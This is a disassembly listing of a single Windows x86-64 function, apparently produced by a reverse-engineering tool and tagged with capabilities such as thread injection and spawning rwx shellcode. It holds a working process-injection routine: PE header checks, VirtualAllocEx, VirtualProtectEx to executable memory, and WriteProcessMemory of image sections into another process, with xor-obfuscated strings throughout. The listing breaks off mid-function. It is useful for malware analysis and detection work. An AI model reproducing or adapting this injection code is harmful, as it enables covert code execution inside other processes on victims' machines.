Function at 0x140233ca0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rbp
push rbx
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x1f8
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
movaps xmmword [rax - 0xa8], xmm12
movaps xmmword [rax - 0xb8], xmm13
mov rax, qword [0x140284028]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov eax, 0x5a4d
mov r14, rdx
mov r13, rcx
cmp word [rdx], ax
je 0x140233f9b
cmp byte [0x140271d35], 0
mov eax, dword [0x140271d30]
movsd xmm0, qword [str._n1__q5___Q_]
mov dword [rsp + 0x58], eax
movzx eax, word [0x140271d34]
mov word [rsp + 0x5c], ax
movsd qword [rsp + 0x50], xmm0
je 0x140233f8a
xor ebx, ebx
cmp dword [0x140284008], 2
jl 0x140233f32
movdqa xmm5, xmmword [0x140272810]
mov r15d, 6
movdqa xmm8, xmmword [0x140272910]
movdqa xmm2, xmm5
movdqa xmm6, xmmword [0x140272900]
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
mov r12d, 0x1f
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm8
mov r14d, 5
pmuldq xmm2, xmm8
pmuldq xmm4, xmm6
movd xmm11, r12d
movd xmm9, r15d
movd xmm7, r14d
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
psrad xmm4, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm11
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272850]
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
movdqa xmm5, xmmword [0x140272830]
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str._n1__q5___Q_]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm5
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
punpckhdq xmm1, xmm5
paddb xmm3, xmmword [0x1402728f0]
movdqa xmm2, xmm5
pxor xmm3, xmm0
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
movd dword [rsp + 0x50], xmm3
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm8
pmuldq xmm2, xmm8
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
psrad xmm4, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm11
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272850]
packuswb xmm3, xmm3
psubd xmm5, xmm0
mov ebx, 8
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x54]
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [0x1402728f0]
pxor xmm3, xmm0
movd dword [rsp + 0x54], xmm3
movsxd rax, ebx
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0xe
jl 0x140233f40
lea rcx, [rsp + 0x50]
call fcn.1401ba4b0
xor al, al
jmp 0x140238dc9
movsxd r15, dword [rdx + 0x3c]
mov eax, 0x8664
add r15, r14
mov qword [rbp - 0x38], r15
cmp word [r15 + 4], ax
je 0x14023427b
cmp byte [0x140271db1], 0
movups xmm0, xmmword [0x140271da0]
movzx eax, word [0x140271db0]
mov word [rsp + 0x60], ax
movups xmmword [rsp + 0x50], xmm0
je 0x14023426a
xor ebx, ebx
cmp dword [0x140284008], 2
jl 0x14023420e
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x140272810]
mov r14d, 5
movdqa xmm6, xmmword [0x140272900]
mov r15d, 6
movdqa xmm7, xmmword [0x140272910]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140272850]
movdqa xmm13, xmmword [0x140272920]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x10
jl 0x140234050
cmp eax, 0x12
jge 0x14023426a
movsxd rax, ebx
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x12
jl 0x140234220
lea rcx, [rsp + 0x50]
call fcn.1401ba4b0
xor al, al
jmp 0x140238dc9
movzx eax, byte [0x140271ff0]
lea rcx, [rsp + 0x50]
movsd xmm0, qword [0x140271fe8]
xor al, 0x53
movsd qword [rsp + 0x50], xmm0
xor byte [rsp + 0x51], 0x45
xor byte [rsp + 0x52], 0x47
xor byte [rsp + 0x53], 0x49
xor byte [rsp + 0x54], 0x4b
xor byte [rsp + 0x55], 0x4d
xor byte [rsp + 0x56], 0x4f
xor byte [rsp + 0x57], 0x51
mov byte [rsp + 0x58], al
mov byte [rsp + 0x50], 0x46
call fcn.1401ba4b0
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x50], rax
mov r12, rax
test rax, rax
jne 0x1402345de
call qword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [0x140271e78]
movzx ecx, word [0x140271ea8]
xor ebx, ebx
cmp dword [0x140284008], 2
mov r10d, eax
movups xmm1, xmmword [0x140271e88]
mov word [rbp - 0x68], cx
movzx ecx, byte [0x140271eaa]
movups xmmword [rsp + 0x68], xmm0
mov byte [rbp - 0x66], cl
movups xmm0, xmmword [0x140271e98]
movups xmmword [rsp + 0x78], xmm1
movups xmmword [rbp - 0x78], xmm0
jl 0x14023456e
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
mov r14d, 5
movdqa xmm6, xmmword [0x140272900]
mov r15d, 6
movdqa xmm7, xmmword [0x140272910]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140272850]
movdqa xmm13, xmmword [0x140272920]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x30
jl 0x1402343b0
cmp eax, 0x33
jge 0x1402345ca
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x33
jl 0x140234580
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
xor al, al
jmp 0x140238dc9
xor ebx, ebx
lea rax, [rbp + 0x54]
mov dword [rbp + 0x54], ebx
mov rdx, r12
mov r8d, dword [r15 + 0x50]
mov rcx, r13
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp - 0x30], rax
mov r8, r14
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r12
mov qword [rbp - 0x28], rax
mov rcx, r13
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], 1
mov qword [rbp + 8], 1
mov qword [rbp - 0x18], r12
mov qword [rbp], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140234954
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x140271ca5], bl
mov r10d, eax
movups xmm0, xmmword [0x140271c88]
mov ecx, dword [0x140271ca0]
mov dword [rbp - 0x80], ecx
movzx ecx, word [0x140271ca4]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x7c], cx
movsd xmm0, qword [0x140271c98]
movsd qword [rsp + 0x78], xmm0
je 0x14023492a
cmp dword [0x140284008], 2
jl 0x1402348d0
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
mov r14d, 5
movdqa xmm6, xmmword [0x140272900]
mov r15d, 6
movdqa xmm7, xmmword [0x140272910]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140234712
cmp eax, 0x1e
jge 0x14023492a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x1e
jl 0x1402348e0
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401ba4b0
mov rdx, qword [rbp - 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x140238dc9
mov qword [rsp + 0x240], rsi
mov esi, ebx
mov qword [rsp + 0x1f0], rdi
movzx edi, word [r15 + 0x14]
add rdi, 0x2c
cmp word [r15 + 6], bx
je 0x1402349bb
add rdi, r15
nop dword [rax]
mov eax, dword [rdi - 4]
test eax, eax
je 0x1402349ac
mov r8d, dword [rdi]
mov r9d, eax
mov edx, dword [rdi - 8]
add r8, r14
add rdx, r12
mov qword [rsp + 0x20], rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140234cb4
movzx eax, word [r15 + 6]
inc esi
add rdi, 0x28
cmp esi, eax
jne 0x140234980
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, r13
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x48], rax
mov rdi, rax
test rax, rax
jne 0x140234fa2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x140284008], 2
mov r10d, eax
movups xmm0, xmmword [0x140271d38]
mov ecx, dword [0x140271d68]
movups xmm1, xmmword [0x140271d48]
mov dword [rbp - 0x68], ecx
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [0x140271d58]
movups xmmword [rsp + 0x78], xmm1
movups xmmword [rbp - 0x78], xmm0
jl 0x140234c4e
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
mov r14d, 5
movdqa xmm6, xmmword [0x140272900]
mov r15d, 6
movdqa xmm7, xmmword [0x140272910]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140272920]
movdqa xmm13, xmmword [0x140272850]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x30
jl 0x140234a90
cmp eax, 0x34
jge 0x140234caa
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb2b78c13
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x43
xor byte [r9 - 1], cl
cmp ebx, 0x34
jl 0x140234c60
lea rcx, [rsp + 0x68]
jmp 0x140234f7f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x140271d89], bl
mov r10d, eax
movups xmm0, xmmword [0x140271d70]
movzx ecx, word [0x140271d88]
mov word [rbp - 0x80], cx
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x140271d80]
movsd qword [rsp + 0x78], xmm0
je 0x140234f7a
cmp dword [0x140284008], 2
jl 0x140234f1e
movdqa xmm0, xmmword [0x1402728f0]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x140272810]
mov r14d, 5
movdqa xmm6, xmmword [0x140272900]
mov r15d, 6
movdqa xmm7, xmmword [0x140272910]
mov r12d, 0x1f
movdqa xmm12, xmmword [0x140272850]
movdqa xmm13, xmmword [0x140272920]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm2, xmm6
pmuldq xmm4, xmm7
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm5
shufps xmm4, xmm1, 0xdd
psrad xmm2, xmm10
psubd xmm4, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140234d60
cmp eax, 0x1a
